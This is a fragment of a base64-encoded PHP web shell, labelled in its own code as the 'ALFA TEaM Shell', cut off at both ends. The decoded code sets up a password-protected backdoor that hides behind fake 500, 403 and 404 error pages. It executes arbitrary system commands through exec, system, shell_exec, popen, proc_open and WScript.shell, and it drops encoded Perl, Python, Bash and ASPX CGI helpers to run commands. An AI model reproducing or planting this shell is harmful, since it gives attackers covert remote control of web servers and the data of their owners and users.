pb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOwp9CmVjaG8gJwo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZDogYmxhY2s7fQojbG9naW5ib3ggeyBmb250LXNpemU6MTFweDsgY29sb3I6Z3JlZW47IHJpZ2h0Ojg1cHg7IHdpZHRoOjEyMDBweDsgaGVpZ2h0OjIwMHB4OyBib3JkZXItcmFkaXVzOjVweDsgLW1vei1ib2Rlci1yYWRpdXM6NXB4OyBwb3NpdGlvbjpmaXhlZDsgdG9wOjI1MHB4OyB9CiNsb2dpbmJveCB0ZCB7IGJvcmRlci1yYWRpdXM6NXB4OyBmb250LXNpemU6MTFweDsgfQo8L3N0eWxlPgo8dGl0bGU+fiBBTEZBIFRFYU0gU2hlbGwtdicuX19BTEZBX1ZFUlNJT05fXy4nLScuX19BTEZBX0NPREVfTkFNRV9fLicgfjwvdGl0bGU+PGNlbnRlcj4KPGNlbnRlcj48aW1nIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwMHB4OyIgd2lkdGg9IjUwMCIgaGVpZ2h0PSIyNTAiIGFsdD0iYWxmYSB0ZWFtIDIwMTIiIGRyYWdnYWJsZT0iZmFsc2UiIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYS1pcmFuLnBuZyIgLz48L2NlbnRlcj4KPGRpdiBpZD1sb2dpbmJveD48cD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPgo8Y2VudGVyPjx0YWJsZSBjZWxscGFkZGluZz1cJzJcJyBjZWxsc3BhY2luZz1cJzBcJyBib3JkZXI9XCcwXCcgaWQ9XCdhcF90YWJsZVwnPgo8dHI+PHRkIGJnY29sb3I9ImdyZWVuIj48dGFibGUgY2VsbHBhZGRpbmc9XCcwXCcgY2VsbHNwYWNpbmc9XCcwXCcgYm9yZGVyPVwnMFwnIHdpZHRoPVwnMTAwJVwnPjx0cj48dGQgYmdjb2xvcj0iZ3JlZW4iIGFsaWduPWNlbnRlciBzdHlsZT0icGFkZGluZzoyO3BhZGRpbmctYm90dG9tOjQiPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSIgc2l6ZT0tMSBjb2xvcj0id2hpdGUiIGZhY2U9InZlcmRhbmEsYXJpYWwiPjxiPn4gQUxGQSBURWFNIFNoZWxsLXYnLl9fQUxGQV9WRVJTSU9OX18uJy0nLl9fQUxGQV9DT0RFX05BTUVfXy4nIH48L2I+PC9mb250PjwvdGg+PC90cj4KPHRyPjx0ZCBiZ2NvbG9yPSJibGFjayIgc3R5bGU9InBhZGRpbmc6NSI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImxvZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGlkZSIgdmFsdWU9IiI+CjxjZW50ZXI+PHRhYmxlPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5Mb2dpbjo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJ1c3JuYW1lIiBwbGFjZWhvbGRlcj0idXNlcm5hbWUiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVlID09IFwndXNlcm5hbWVcJyl7dGhpcy52YWx1ZSA9IFwnXCc7fSI+PC90ZD48L3RyPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5QYXNzd29yZDo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJwYXNzd29yZCIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0gXCdwYXNzd29yZFwnKSB0aGlzLnZhbHVlID0gXCdcJzsiPjwvdGQ+PC90cj4KPHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPgo8L2Rpdj48YnIgLz48L2NlbnRlcj4nOwpleGl0Owp9Cn1lbHNlaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddPT0nNTAwJyl7CmlmKEAkX0NPT0tJRVsiQWxmYVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsKaWYoQG1kNSgkX1BPU1RbInBhc3N3b3JkIl0pPT0kY29uZmlnWydBbGZhUGFzcyddKXsKX19hbGZhX3NldF9jb29raWUoIkFsZmFVc2VyIiwgJGNvbmZpZ1snQWxmYVVzZXInXSk7Cl9fYWxmYV9zZXRfY29va2llKCJBbGZhUGFzcyIsIEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpOwpAaGVhZGVyKCdsb2NhdGlvbjogJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7Cn0KZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+SW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT48cD5UaGUgc2VydmVyIGVuY291bnRlcmVkIGFuIGludGVybmFsIGVycm9yIG9yIG1pc2NvbmZpZ3VyYXRpb24gYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD48cD5QbGVhc2UgY29udGFjdCB0aGUgc2VydmVyIGFkbWluaXN0cmF0b3IsICcuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLicgYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwgYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZSBjYXVzZWQgdGhlIGVycm9yLjwvcD48cD5Nb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZSBpbiB0aGUgc2VydmVyIGVycm9yIGxvZy48L3A+PGhyPicuJFNFUlZFUl9TSUcuJzwvYm9keT48L2h0bWw+Jy4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDMnKXsKaWYoQCRfQ09PS0lFWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pewpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsKX19hbGZhX3NldF9jb29raWUoIkFsZmFQYXNzIiwgQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8aHRtbD48aGVhZD48dGl0bGU+NDAzIEZvcmJpZGRlbjwvdGl0bGU+PC9oZWFkPjxib2R5PjxoMT5Gb3JiaWRkZW48L2gxPjxwPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gYWNjZXNzICIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiBvbiB0aGlzIHNlcnZlci48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDQnKXsKaWYoQCRfQ09PS0lFWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pewpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsKX19hbGZhX3NldF9jb29raWUoIkFsZmFQYXNzIiwgQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSk7CkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsKfQplY2hvICI8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+PGgxPk5vdCBGb3VuZDwvaDE+PHA+VGhlIHJlcXVlc3RlZCBVUkwgIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPGJyPjxicj5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3VuZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+PGhyPiIuJFNFUlZFUl9TSUcuIjwvYm9keT48L2h0bWw+Ii4kRWZvcm07CmV4aXQ7Cn0KfQp9CmZ1bmN0aW9uIGRlY3J5cHRfcG9zdCgkc3RyKXsKCWlmKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyl7CgkJJHB3ZCA9IF9fQUxGQV9TRUNSRVRfS0VZX187CgkJJHB3ZCAgICAgPSBfX1pXNWpiMlJsY2coJHB3ZCk7CgkJJHN0ciAgICAgPSBfX1pHVmpiMlJsY2coJHN0cik7CgkJJGVuY19jaHIgPSAiIjsKCQkkZW5jX3N0ciA9ICIiOwoJCSRpICAgICAgID0gMDsKCQl3aGlsZSAoJGkgPCBzdHJsZW4oJHN0cikpIHsKCQkJZm9yICgkaiA9IDA7ICRqIDwgc3RybGVuKCRwd2QpOyAkaisrKSB7CgkJCQkkZW5jX2NociA9IGNocihvcmQoJHN0clskaV0pIF4gb3JkKCRwd2RbJGpdKSk7CgkJCQkkZW5jX3N0ciAuPSAkZW5jX2NocjsKCQkJCSRpKys7CgkJCQlpZiAoJGkgPj0gc3RybGVuKCRzdHIpKQoJCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBfX1pHVmpiMlJsY2coJGVuY19zdHIpOwoJfWVsc2V7CgkJcmV0dXJuIF9fWkdWamIyUmxjZygkc3RyKTsKCX0KfQoKZnVuY3Rpb24gX0FsZmFTZWNyZXRLZXkoKXsKCSRzZWNyZXQgPSBAJF9DT09LSUVbIkFsZmFTZWNyZXRLZXkiXTsKCWlmKCFpc3NldCgkX0NPT0tJRVsiQWxmYVNlY3JldEtleSJdKSl7CgkJJHNlY3JldCA9IHVuaXFpZChtdF9yYW5kKCksIHRydWUpOwoJCV9fYWxmYV9zZXRfY29va2llKCJBbGZhU2VjcmV0S2V5IiwgJHNlY3JldCk7Cgl9CglyZXR1cm4gJHNlY3JldDsKfQpmdW5jdGlvbiBhbGZhX2dldENvbG9yKCR0YXJnZXQpewoJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsKCQlyZXR1cm4gJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XTsKCX1lbHNlewoJCSR0YXJnZXQgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXVskdGFyZ2V0XTsKCQlpZihpc19hcnJheSgkdGFyZ2V0KSl7CgkJCXJldHVybiAkdGFyZ2V0WyJrZXlfY29sb3IiXTsKCQl9ZWxzZXsKCQkJcmV0dXJuICR0YXJnZXQ7CgkJfQoJfQp9CmZ1bmN0aW9uIGFsZmFDc3NMb2FkQ29sb3JzKCl7CgkkY3NzID0gIiI7Cglmb3JlYWNoKCRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZhbHVlKXsKCQlpZighaXNfYXJyYXkoJHZhbHVlKSl7CgkJCSR2YWx1ZSA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7CgkJCSRjc3MgLj0gIi57JGtleX17Y29sb3I6IHskdmFsdWV9O30iOwoJCX1lbHNlewoJCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0pKXsKCQkJCWZvcmVhY2goJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdIGFzICRrID0+ICR2KXsKCQkJCQkkY29sb3IgPSBhbGZhX2dldENvbG9yKCRrZXkpOwoJCQkJCSRjb2RlID0gc3RyX3JlcGxhY2UoIntjb2xvcn0iLCAkY29sb3IsICR2KTsKCQkJCQkkY3NzIC49ICAkay4ieyIuJGNvZGUuIn0iOwoJCQkJfQoJCQl9CgkJfQoJfQoJcmV0dXJuICRjc3M7Cn0KaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gQWxmYU51bSgpewokYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsKJGFsZmF4ID0gYXJyYXkoKTsKJGZpbmQgPSBhcnJheSgpOwpmb3IoJGk9MTskaTw9MTA7JGkrKyl7CiRhbGZheFtdID0gJGk7Cn0KZm9yZWFjaCgkYXJncyBhcyAkYXJnKXsKJGZpbmRbXSA9ICRhcmc7Cn0KZWNobyAnPHNjcmlwdD4nOwpmb3JlYWNoKCRhbGZheCBhcyAkYWxmYSl7CmlmKGluX2FycmF5KCRhbGZhLCRmaW5kKSkKY29udGludWU7CmVjaG8gJ2FsZmEnLiRhbGZhLiJfPSI7Cn0KZWNobyAnIiI8L3NjcmlwdD4nOwp9fQpmdW5jdGlvbiBfYWxmYV9jZ2ljbWQoJGNtZCwkbGFuZz0icGVybCIsJHNldF9jb29raWU9ZmFsc2UpewoJaWYoISRHTE9CQUxTWyJEQl9OQU1FIl1bImNnaV9hcGkiXSl7CgkJcmV0dXJuICIiOwoJfQoJaWYoaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGlfbW9kZSJdKSl7CgkJcmV0dXJuICIiOwoJfQoJJGNtZF9wdXJlID0gJGNtZDsKCSRpc19jdXJsID0gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKCSRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOwoJaWYoJGlzX2N1cmx8fCRpc19zb2NrZXQpewoJCSRyZWNyZWF0ZSA9IGZhbHNlOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhY2dpYXBpIl0pKXsKCQkJaWYoIUBmaWxlX2V4aXN0cygiYWxmYWNnaWFwaS8iLiRfQ09PS0lFWyJhbGZhY2dpYXBpIl0uIi5hbGZhIikpewoJCQkJJHJlY3JlYXRlID0gdHJ1ZTsKCQkJCSRsYW5nID0gJF9DT09LSUVbImFsZmFjZ2lhcGkiXTsKCQkJfQoJCX0KCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGkiXSl8fCRyZWNyZWF0ZSl7CgkJCUBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOwoJCQkkcGVybCA9ICdqWkZSVDhJd0ZJWGYvUlhYT3FXTnNLb3hQbEF3UmxpRVJJYks5RVVNR2RzRkdyWXl0MklreS96dGRrTWxKajc0Y3BLZWU4NTNrOTZEZmI3T1VqNlZpaWVZUmdEUTZGZE90QXI4aUU5OUZjWlM3YTB6aEVGLzREU2IxMzZHRitjaVNhWFNRRG9ycFZIcGh0NGsyQVNONzVvdmRCeU4xVmdSSVdmVWN0eW52UGJnM0Q4NkkyOHljTHplc0ZzckFGK0IzQTFISG1GNXZBRnF5VHBZUzl3WWZmTWpvMUl4a2FJZjBwSFg3YnVWWWFSaWRZYXU1N2plNU5aeGI3eGVyV0RpU2lwb1E1WkVVbE4reEwvcXM1VUJCQXZ6QUhvQ3RnM1dnYkZ6TTN1MjVBdTBQeURqNDJNT2ZDN29iamZia2RwYlVwbXV3eGtUWldoYk82UzJ6WGppQjB0S0FsS0hCYjVUNjVReFBrZFJRdjZSa2lvdmVRWFliU0RqRXdKeUJqVEVtVlFZMHA4cFk3K1RKVndVNWJjYWx3UnhTQXFXYnk4UllyQUtjVEt0cnZNMVgyQ3dOQW1idEpJVUw0bklOcG5HbVA0VnJWRHMrNm90WGhXSzRoTT0nOwoJCQkkcHkgPSAiYlpEQlM4TXdHTVhQeTE5UjY2RXR6aFJrN0RBM0wxcnhJdE90M2dhalRiNnR3VFFKeWRleElmN3ZKcXZNaVI1Q3lIdnY5M2prOGlMdm5NMXJvWEp6d0VZcmd2WXdJUVBSR20weFlsdUI5VzEvVVZCVkxTSE5DT3daR1BRcFV6bEh2cVBhRFgxc1dGY094aU95MGJhTlpnR2tqd0lrWDZLMjFSWlNVRHRodFpwOUpJdmk5YTFZbHV2bm9ueWFQeVNUNUdXK0xKUFBqTENXZXpJVTBDM2dycElkcElrWEUyODF3TjcvTVlQc2JXT0Z3aWkrMXdwQjRUVWVERXdROXBnMzJNcVZYYWx3WWlJMmthOEw4NC81ZmpHdHh5TU9USE5JajNYWlZUdzFGdTVpTW1DTmtIenRrQXMxakU0UDNhRmZvaDAxMm9DNlNmL1d0RHpMZnRHVVNlM0NCdzRzdUU0Ry9yeU9XcWg0ZW80RThjVDBhM3VTT3JUQy9LanhORCtPL1FJPSI7CgkJCSRiYXNoID0gInJWUmRqNXBBRkgydXYrSTZER2ExSWF5YnBnOWFtclJib3B0WWJWMzYwSlFHV1JpRnlQSTVXcmVVLzk1aG9DeWpzZkZoNTJubTNuTS96dVRjSzNYVkJ6OVVIK3pNNnhESGkwQWhnRzZqa0pLUUt2UXBKaU9nNUVCVmp6NEdabWlHcUxQZWhRNzFveENjalc5dENMVytMTzROYTIrbjJWVS83d0E3UHdEaHBmNzFtODdzbjNWanV2aUVvS3NCS29FSWZrS3ZCeW1odXpTczBWMVFmck1RRnJEOGJ0MGJ5N3Y1eERxSDVjamJ4ZHpRNTRZMTArY1RZeXJDWHFYRWRrR1p3eEVLVHRMempIVlVJZEp5aVJPNWhIRjZwb1FsVUVJQ3c1T2Vnc2l4QTlnREJZKy9xWVp3UGxUVjF5b1Vzb3k0N1pmbkI2Uk1ra3UwQUdWRDRSb1VtekhKYVZIOWpjeFlqTUdOT0x3OCt6TE52bUFJV1RibFFZRWFEeTlBcFlIY3N2bnJDN0pUajRSTlJIazhqVUZHMTZPYlFqQlhCWmdWQ2VhNkk3VDZweE9UblFQT3ZXTFY0TlkrdjdwUlNQaUZRNnV3LzN3M1U1R29uL0t6QXdvM1p6NDdnUmkyN01zemJuUHNqQUFlZ3Y5TWJxSWJmYUgzUm1SNVd3WkZMWjFFTzNiMFJPcmpjZk1zbFNQbVBwbURDeXB6OE5ueWxmZDhEeDhYeHZSRitiME1oYVM0bkFiSmJJZGZNczlmMCtxbUljQURFQ2VtcnB3Y2owZk1DOHB5cnowWjI5SVl5N0xXTm5MWnh0SkFhOW1xZGlVY0MrSGwzaG9pWVBQeVlUWkRvSERsWmlyZ0xhajFJT0dzSm13S3BNZ2hqbExLM0Z1a29aV3dRY0JFZUcraUZSSUhveG1FbHY2NXRvRFY3aVE3a2o1cCtJcVBEM1llWGZnRGJFV1R0MjlBVWFyVS9XcGROeGlQT051enFIS3B2NHRUOHQ1MFVJZDFGYkJkd1dzVUxiOWFBLzRDIjsKCQkJJGFzcHggPSAialpOZGE5c3dGSWF2azE4aE5Bb09BWGRzb3pkTHlyclVLWWFSbHJpTk4wSXVGUHZFRmJVbDcwak9CMlA5N1QxU1BCbzh5blpsUytkNTMvUGg0OUhaRjNZbkNtRGZoQ29hZWhuenlUdk9JaVhXSlN3azdCSXJMRjF1UkdtQXM3UEwvb2dVY1ZWcnRHd21LakMxeUNpZUhJeUZLa3hoSFQ3RTdqSFJ5cUl1emI4MTExSVVTaHNycy8rQTQxdlBFTlR2R1l0U0ZTeXJjalptYy9qWmdMSGhWR08xNUhUSFY1OWZrVWZJbnY2RzNLM0g1Q1pva1RIajZjZlpkbjJ6K0NDK3orb2YxYjdjVk5PZFdMd2Y4OEd2ZnErM1BsaFlybGd1ckNERHRpcHFkZ3RJdnFpcnI4TEF4YWZFSnc2b2pnSDU5NDQxdHZROTdHMTRsVXppT0ZLWnpvazduc0lic0szTzJaT1FsSGVvTXpDRzFhUlhzR1B0T2ZDMmRVaWZCMjJzTmpxY0lOQ1htdWxVcWx6dmlMYllRQmVheWhMY1VDbnNaaFRDSG5pWHVjS2lxVUJaNDZEempIRTJkRFB1WWc4R2trY295MmdQV1dPZG85K1JMamFIWENKazFKaFF1Y0Q4dHJGMVk5OG9yd3RIaUJyZllGT05UelNxYXkvUWVQRFZuallUSEFmWXJvRCtrOWRIVDBxaHBDSy8xNUhLZ3dGMStocjJ5VStqem50Tys2aVZnVEJGYVNIZ1M2TkwyRW9qNlhkNUZyVmNqV3FFU3o0OHBodnkwYmsvTyszdlBpM3VDdz09IjsKCQkJaWYoJGxhbmc9PSJwZXJsIikkc291cmNlID0gJHBlcmw7ZWxzZWlmKCRsYW5nPT0icHkiKSRzb3VyY2UgPSAkcHk7ZWxzZSAkc291cmNlID0gJGJhc2g7CgkJCWlmKCRsYW5nID09ICJhc3B4Iil7CgkJCQlhbGZhV3JpdGVUb2NnaWFwaSgiYXNweC5hc3B4IiwkYXNweCk7CgkJCX1lbHNlewoJCQkJYWxmYVdyaXRlVG9jZ2lhcGkoJGxhbmcuIi5hbGZhIiwkc291cmNlKTsKCQkJfQoJCQlhbGZhY2dpaHRhY2Nlc3MoJ2NnaScsICJhbGZhY2dpYXBpLyIpOwoJCX1lbHNlewoJCQkkbGFuZyA9ICRfQ09PS0lFWyJhbGZhY2dpYXBpIl07CgkJfQoJCSRjZ2lfZXh0ID0gIi5hbGZhIjsKCQlpZigkbGFuZz09ImFzcHgiKXsKCQkJJGNnaV9leHQgPSAiLmFzcHgiOwoJCX0KCQkkY2dpX3VybCA9IF9fQUxGQV9EQVRBX0ZPTERFUl9fLiIvYWxmYWNnaWFwaS8iLiRsYW5nLiRjZ2lfZXh0OwoJCSRjbWQgPSAiY2hlY2s9VzNOdmJHVjJhWE5wWW14bGZtRndhVjA9JmNtZD0iLl9fWlc1amIyUmxjZygiY2QgIi4kR0xPQkFMU1snY3dkJ10uIjsiLiRjbWQpOwoJCWlmKCRpc19jdXJsKXsKCQkJJGFkZHJlc3MgPSAoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gImh0dHBzOi8vIiA6ICJodHRwOi8vIikuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi8iLiRjZ2lfdXJsOwoJCQkkcG9zdCA9IG5ldyBBbGZhQ1VSTCgpOwoJCQkkZGF0YSA9ICRwb3N0LT5TZW5kKCRhZGRyZXNzLCAicG9zdCIsICRjbWQpOwoJCX1lbHNlaWYoJGlzX3NvY2tldCl7CgkJCSRzZXJ2ZXIgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXTsKCQkJJHVyaSA9IGRpcm5hbWUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pLiIvIi4kY2dpX3VybDsKCQkJJGRhdGEgPSBfYWxmYV9mc29ja29wZW4oJHNlcnZlciwkdXJpLCRjbWQpOwoJCX0KCQkkb3V0ID0gIiI7CgkJaWYoc3RycG9zKCRkYXRhLCAiW3NvbGV2aXNpYmxlfmFwaV0iKSAhPT0gZmFsc2UgJiYgc3RycG9zKCRkYXRhLCAnW3NvbGV2aXNpYmxlfmFwaV08cHJlPiIrb3V0cHV0KyI8L3ByZT4nKSA9PT0gZmFsc2UpewoJCQlpZigkc2V0X2Nvb2tpZSl7CgkJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNnaWFwaSIsICRsYW5nKTsKCQkJfQoJCQlpZihAcHJlZ19tYXRjaCgiLzxwcmU+KC4qPyk8XC9wcmU+L3MiLCAkZGF0YSwgJHJlcykpewoJCQkJJG91dCA9ICRyZXNbMV07CgkJCX0KCQl9ZWxzZWlmKCRsYW5nPT0icGVybCIpewoJCQlyZXR1cm4gX2FsZmFfY2dpY21kKCRjbWRfcHVyZSwicHkiLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0icHkiKXsKCQkJcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsImJhc2giLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0iYmFzaCIgJiYgJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CgkJCXJldHVybiBfYWxmYV9jZ2ljbWQoJGNtZF9wdXJlLCJhc3B4Iiwkc2V0X2Nvb2tpZSk7CgkJfWVsc2V7CgkJCWlmKCRzZXRfY29va2llKXsKCQkJCV9fYWxmYV9zZXRfY29va2llKCJhbGZhY2dpYXBpX21vZGUiLCAib2ZmIik7CgkJCX0KCQl9CgkJcmV0dXJuIHRyaW0oJG91dCk7Cgl9ZWxzZXsKCQlyZXR1cm4gIiI7Cgl9Cn0KZnVuY3Rpb24gYWxmYUdldEN3ZCgpewoJaWYoZnVuY3Rpb25fZXhpc3RzKCJnZXRjd2QiKSl7CgkJcmV0dXJuIEBnZXRjd2QoKTsKCX1lbHNlewoJCXJldHVybiBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7Cgl9Cn0KZnVuY3Rpb24gYWxmYUV4KCRpbiwkcmU9ZmFsc2UsJGNnaT10cnVlLCRhbGw9ZmFsc2UpewoJJGRhdGEgPSBfYWxmYV9waHBfY21kKCRpbiwkcmUpOwoJaWYoZW1wdHkoJGRhdGEpJiYkY2dpfHwkYWxsKXsKCQlpZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CgkJCWlmKHN0cmxlbihfYWxmYV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpewoJCQkJJGNtZCA9IF9hbGZhX2NnaWNtZCgkaW4pOwoJCQkJaWYoIWVtcHR5KCRjbWQpKXsKCQkJCQlyZXR1cm4gJGNtZDsKCQkJCX0KCQkJfQoJCX0KCX0KCXJldHVybiAkZGF0YTsKfQpmdW5jdGlvbiBfYWxmYV9waHBfY21kKCRpbiwkcmU9ZmFsc2Upewokb3V0PScnOwp0cnl7CmlmKCRyZSkkaW49JGluLiIgMj4mMSI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsKQGV4ZWMoJGluLCRvdXQpOwokb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKb2Jfc3RhcnQoKTsKQHBhc3N0aHJ1KCRpbik7CiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsKb2Jfc3RhcnQoKTsKQHN5c3RlbSgkaW4pOwokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewokb3V0ID0gc2hlbGxfZXhlYygkaW4pOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9wZW4iKSYmZnVuY3Rpb25fZXhpc3RzKCJwY2xvc2UiKSl7CmlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSl7CiRvdXQgPSAiIjsKd2hpbGUoIUBmZW9mKCRmKSkKJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKcGNsb3NlKCRmKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewokcGlwZXMgPSBhcnJheSgpOwokcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOwokb3V0PUBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7Cn1lbHNlaWYoY2xhc3NfZXhpc3RzKCdDT00nKSl7CiRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CiRleGVjID0gJGFsZmFXcy0+ZXhlYygnY21kLmV4ZSAvYyAnLiRfUE9TVFsnYWxmYTEnXSk7CiRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7CiRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOwp9Cn1jYXRjaChFeGNlcHRpb24gJGUpe30KcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gX2FsZmFfZnNvY2tvcGVuKCRzZXJ2ZXIsJHVyaSwkcG9zdCl7Cgkkc29ja2V0ID0gQGZzb2Nrb3Blbigkc2VydmVyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxNSk7CglpZigkc29ja2V0KXsKCQkkaHR0cCAgPSAiUE9TVCB7JHVyaX0g